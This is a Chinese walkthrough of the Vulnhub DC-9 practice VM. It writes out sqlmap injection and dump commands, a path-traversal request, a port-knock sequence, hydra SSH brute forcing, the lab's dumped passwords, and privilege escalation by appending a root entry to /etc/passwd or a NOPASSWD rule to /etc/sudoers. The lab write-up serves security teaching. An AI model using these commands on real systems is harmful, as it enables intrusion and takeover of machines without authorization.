DC-9靶场

一.环境搭建

1.下载地址

靶机下载地址:https://download.vulnhub.com/dc/DC-9.zip

2.虚拟机配置

设置虚拟机为nat,遇到错误点重试和是

开启虚拟机如下图所示

 

二.开始渗透

1. 信息收集

查找靶机的ip地址

arp-scan -l

发现靶机的ip地址为192.168.111.137,攻击机(kali)的ip地址为192.168.111.128 

用nmap扫描其开启服务和端口

nmap -p- -sV 192.168.111.137

发现ssh和http服务打开 

用浏览器打开其http服务,如下图 

 发现一句提示,翻译一下看看

点击这个search,进行抓包

 发现此处存在sql注入

 2.sql注入

用sqlmap进行注入

sqlmap -u "http://192.168.111.137/results.php" --data "search=" --dbs

跑users表

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D users --tables

 

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D users -T UserDetails --dump

+----+------------+---------------+---------------------+-----------+-----------+
| id | lastname   | password      | reg_date            | username  | firstname |
+----+------------+---------------+---------------------+-----------+-----------+
| 1  | Moe        | 3kfs86sfd     | 2019-12-29 16:58:26 | marym     | Mary      |
| 2  | Dooley     | 468sfdfsd2    | 2019-12-29 16:58:26 | julied    | Julie     |
| 3  | Flintstone | 4sfd87sfd1    | 2019-12-29 16:58:26 | fredf     | Fred      |
| 4  | Rubble     | RocksOff      | 2019-12-29 16:58:26 | barneyr   | Barney    |
| 5  | Cat        | TC&TheBoyz    | 2019-12-29 16:58:26 | tomc      | Tom       |
| 6  | Mouse      | B8m#48sd      | 2019-12-29 16:58:26 | jerrym    | Jerry     |
| 7  | Flintstone | Pebbles       | 2019-12-29 16:58:26 | wilmaf    | Wilma     |
| 8  | Rubble     | BamBam01      | 2019-12-29 16:58:26 | bettyr    | Betty     |
| 9  | Bing       | UrAG0D!       | 2019-12-29 16:58:26 | chandlerb | Chandler  |
| 10 | Tribbiani  | Passw0rd      | 2019-12-29 16:58:26 | joeyt     | Joey      |
| 11 | Green      | yN72#dsd      | 2019-12-29 16:58:26 | rachelg   | Rachel    |
| 12 | Geller     | ILoveRachel   | 2019-12-29 16:58:26 | rossg     | Ross      |
| 13 | Geller     | 3248dsds7s    | 2019-12-29 16:58:26 | monicag   | Monica    |
| 14 | Buffay     | smellycats    | 2019-12-29 16:58:26 | phoebeb   | Phoebe    |
| 15 | McScoots   | YR3BVxxxw87   | 2019-12-29 16:58:26 | scoots    | Scooter   |
| 16 | Trump      | Ilovepeepee   | 2019-12-29 16:58:26 | janitor   | Donald    |
| 17 | Morrison   | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2  | Scott     |
+----+------------+---------------+---------------------+-----------+-----------+

 下爆staff的

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff --tables

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff -T Users --dump

账号获取到了,密码被爆破出来了

看一下StaffDetails(这里虚拟机的http直接被访问到502了,重启一下靶机即可)

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff -T StaffDetails --dump

 利用之前获取到的账号密码admin/transorbital1进行用户登录

登录成功,下面显示file does not exist ,怀疑包含了某文件,所以尝试文件包含

看大佬的wp,访问该路径获取关键信息

http://192.168.111.137/welcome.php?file=../../../../../../../../../etc/knockd.conf

[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn 

 这玩意也不知道啥意思,问问万能的ai吧

[openSSH]

  • sequence = 7469,8475,9842:接收到的 TCP 数据包的序列号序列,用于识别 SSH 连接尝试。
  • seq_timeout = 25:在指定时间(以秒为单位)内,如果收到序列号序列中的下一个序列号,则认为是有效的 SSH 连接尝试。
  • command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn:如果收到有效的 SSH 连接尝试,则执行此命令。该命令将允许来自 IP 地址 %IP% 的 TCP 端口 22 的连接。

[closeSSH]

  • sequence = 9842,8475,7469:与 [openSSH] 相同,但用于识别 SSH 连接关闭。
  • seq_timeout = 25:与 [openSSH] 相同。
  • command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn:如果收到有效的 SSH 连接关闭,则执行此命令。该命令将删除允许来自 IP 地址 %IP% 的 TCP 端口 22 的连接的规则。

knockd字面意思是敲,只是这里敲的是端口,而且需要按照顺序‘敲’端口。如果敲击规则匹配,则可以让防火墙实时更改策略。从而达到开关防火墙的目的。 

也就是说黑客进行直接扫描端口扫描不出来,只有进行固定knockd的访问才能打开
查看配置文件发现需要连续访问的端口,轮流敲这些端口

nmap 192.168.111.137 -p 7469
nmap 192.168.111.137 -p 8475
nmap 192.168.111.137 -p 9842

nmap -p 22 192.168.111.137

查看到ssh服务已经开启

3.ssh暴力破解

将前面sql注入出来的用户名和密码分别保存在users.txt和pass.txt 

将前面保存sqlmap自动保存的csv文件复制到物理机进行操作

users.txt

marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2

pass.txt

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0

 利用工具进行ssh账号密码爆破

hydra -L users.txt -P pass.txt 192.168.111.137 ssh

[22][ssh] host: 192.168.111.137   login: chandlerb   password: UrAG0D!
[22][ssh] host: 192.168.111.137   login: joeyt   password: Passw0rd
[22][ssh] host: 192.168.111.137   login: janitor   password: Ilovepeepee

4.获得shell

根据大佬wp可知,其他两个用户登录后无作用

登录janitor

ls -al

 查看到隐藏文件

cd .secrets-for-putin
cat passwords-found-on-post-it-notes.txt

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

将这一串密码加入刚刚的爆破密码中,重新进行爆破,生成newpass.txt

 newpass.txt

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

 重新进行爆破

hydra -l users.txt -P newpass.txt 192.168.111.137 ssh

爆破出一个新用户 

进行ssh连接 fredf/B4-Tru3-001

ssh fredf@192.168.111.137

5.提权

进行提权

sudo -l

列出sudo权限的命令,这里发现fred用户在NOPASSWD的情况下可以使用root权限运行这个test文件

 

cd到该目录下尝试运行,发现为python文件

找到这个test.py文件

find / -name test.py 2>/dev/null

查看文件

#!/usr/bin/pythonimport sysif len (sys.argv) != 3 :print ("Usage: python test.py read append")sys.exit (1)else :f = open(sys.argv[1], "r")output = (f.read())f = open(sys.argv[2], "a")f.write(output)f.close()

 发现代码作用需要两个文件,把第一文件追加到第二个文件后

openssl生成密码,前一个mlws为账号,后一个1900为要加密的密码

openssl passwd -1 -salt mlws 1900
$1$mlws$VPTJ3t70fTytbTKtREHSF1

 

把下面内容写入一个文件

echo 'mlws:$1$mlws$VPTJ3t70fTytbTKtREHSF1:0:0::/root:/bin/bash' >> /tmp/tiquan

使用test文件,将该文件的内容写入到passwd中

sudo ./test /tmp/tiquan /etc/passwd

切换账户

su mlws

成功提权

 

成功获取到最终的flag

三.其他

1.可以用knock命令直接对三个端口进行敲击

需要安装knock

knock 192.168.111.137 7469 8475 9842

2.提权可构造权限行,写入/etc/sudoers

echo "fredf ALL=(root) NOPASSWD:ALL" > /tmp/tq.txt
sudo /opt/devstuff/dist/test/test /tmp/tq.txt /etc/sudoers
sudo su root

一样可以提权成功 

至此dc1-9靶机全部完成

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/785570.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++从入门到精通——auto的使用

auto 前言一、auto类型别名思考二、auto简介三、auto的使用细则auto与指针和引用结合起来使用在同一行定义多个变量auto不能推导的场景auto不能作为函数的参数auto不能直接用来声明数组 lambda表达式 前言 C的auto关键字用于自动推导变量的类型,让编译器根据变量的…

如何使用单片机 pwm 控制 mos 管?

目录 选择适合的硬件 连接电路 编写代码 参考示例 程序一 程序二 测试与调试 注意事项 使用单片机(如常见的Arduino、STM32等)通过PWM(脉冲宽度调制)控制MOS管(金属氧化物半导体场效应管)是一种常见…

Linux使用Docker部署RStudio Server结合内网穿透实现公网访问本地服务

文章目录 前言1. 安装RStudio Server2. 本地访问3. Linux 安装cpolar4. 配置RStudio server公网访问地址5. 公网远程访问RStudio6. 固定RStudio公网地址 前言 RStudio Server 使你能够在 Linux 服务器上运行你所熟悉和喜爱的 RStudio IDE,并通过 Web 浏览器进行访问…

Java如何使用nignx实现静态资源服务

在Java应用中,通常我们不会直接用Nginx来服务静态资源,而是会让Java应用(如Spring Boot应用)处理动态请求,而将静态资源(如HTML、CSS、JS、图片等)交给Nginx来服务。这样的架构有很多好处&#…

标准版IP地址证书

IP地址证书是一种网络安全工具,用于确保互联网通信中IP地址的所有权和真实性。它类似于为网站颁发的SSL/TLS证书,但专门针对IP地址。这种证书由受信任的第三方机构(如证书颁发机构)签发,包含公钥、所有者信息和有效期。…

抖店被清退身份证还能入驻吗?被清退保证金可以退吗?

在抖音平台上开设自己的抖店是许多人追求的梦想,但有时候由于一些原因,抖店可能会被清退。此时,很多人会担心自己的身份证是否还能用来再次入驻。 一、抖店被清退身份证还能入驻吗? 首先,需要明确的是,抖…

【Linux】开始掌握进程控制吧!

送给大家一句话: 我并不期待人生可以一直过得很顺利,但我希望碰到人生难关的时候,自己可以是它的对手。—— 加缪 开始学习进程控制 1 前言2 进程创建2.1 fork函数初识2.2 fork函数返回值2.3 写时拷贝2.4 fork常规用法2.5 fork调用失败的原因…

Free RTOS day2

1.思维导图 2.使用PWMADC光敏电阻完成光控灯的实验 int adc_val0;//用于保存ADC采样得到的数值 float volt0;//用于保存电压值 int main(void) {MX_GPIO_Init();MX_DMA_Init();MX_TIM1_Init();MX_USART1_UART_Init();MX_ADC_Init();MX_TIM3_Init();HAL_TIM_PWM_Start(&hti…

【linux】基础IO(一)

文件只有站在系统层面才能彻底理解 简单回顾一下文件: 首先我们要明确一点,我们说的打开文件不是写下fopen就打开文件,而是当我们的进程运行起来,进程打开的文件。 我们在C语言一般都会使用过如下的代码进行向文件中写入 但是除…

GUID测试程序

全局唯一标识符(GUID,Globally Unique Identifier)是一种由算法生成的二进制长度为128位的数字标识符。GUID主要用于在拥有多个节点、多台计算机的网络或系统中。在理想情况下,任何计算机和计算机集群都不会生成两个相同的GUID。G…

【软考高项范文】论信息系统项目的风险管理与安全管理

1. 项目背景和参与工作 我曾参与管理的信息系统项目是一家金融机构的核心银行系统升级项目。这家金融机构是一家全球性银行,拥有多个分支机构和数百万客户。项目的背景是为了提高核心银行系统的性能、安全性和可扩展性,以适应不断增长的客户需求和市场竞争。项目规模庞大,包…

插槽 Slots

插槽内容与出口​ 在之前的章节中,我们已经了解到组件能够接收任意类型的 JavaScript 值作为 props,但组件要如何接收模板内容呢?在某些场景中,我们可能想要为子组件传递一些模板片段,让子组件在它们的组件中渲染这些…

Clickhouse-表引擎探索之MergeTree

引言 前文曾说过,Clickhouse是一个强大的数据库Clickhouse-一个潜力无限的大数据分析数据库系统 其中一个强大的点就在于支持各类表引擎以用于不同的业务场景。 MergeTree MergeTree系列的引擎被设计用于插入极大量的数据到一张表当中。数据可以以数据片段的形式一…

手写SpringBoot(二)之动态切换Servlet容器

系列文章目录 手写SpringBoot(一)之简易版SpringBoot 手写SpringBoot(二)之动态切换Servlet容器 手写SpringBoot(三)之自动配置 手写SpringBoot(四)之bean动态加载 手写SpringBoot&…

衍生品交易概况

场内 场外 交易台架构 报价、交易、研究、程序个股、股指Flow、Exotic线性、非线性 对冲管理 管理风险敞口 做好情景分析 尊重市场选择 及时调整策略 理解头寸 善于学习 场外衍生品交易员的一天 盘前 回顾市场、决定今天总体方向处理隔夜敞口 盘中 处理客户询价…

C语言中入门到实战————动态内存管理

目录 前言 一、为什么要有动态内存分配 二、 malloc和free 2.1 malloc 2.2 free 三、calloc和realloc 3.1 calloc 3.2 realloc 四. 常见的动态内存的错误 4.1 对NULL指针的解引用操作 4.2 对动态开辟空间的越界访问 4.3 对非动态开辟内存使用free释放 4.4 使…

【算法】01背包问题(代码+详解+练习题)

题目: 有 N 件物品和一个容量是 V 的背包。每件物品只能使用一次。 第 i 件物品的体积是 vi,价值是 wi。 求解将哪些物品装入背包,可使这些物品的总体积不超过背包容量,且总价值最大。 输出最大价值。 输入格式 第一行两个整…

面经(七)南京先维

总体评价: 哈哈,感觉又没了前半段发挥还挺好,但到了后面,听录屏的声音,越来越底气不足,回答也是极尽含糊虽然问的问题不难,都是基础知识,但关键是,只会单纯地用&#xf…

视频素材库有哪些网站?八大平台视频素材库创作推荐

视频创作的小达人们,是不是经常在想,视频素材库有哪些网站能提供高质量的素材呢?别担心,今天我要为你们揭秘八个超棒的视频素材网站,让你的视频制作更加轻松在创作的路上如鱼得水! 蛙学网:海量…

【BlossomConfig】配置中心Core核心功能代码的编写

文章目录 Core什么是配置中心?以及如何实现一个配置中心?SpringBoot如何实现配置的管控?SpringCloud项目是如何对bootstrap配置文件进行加载的?Nacos是如何实现配置文件的读取加载的?开发配置中心前必须了解的前置知识…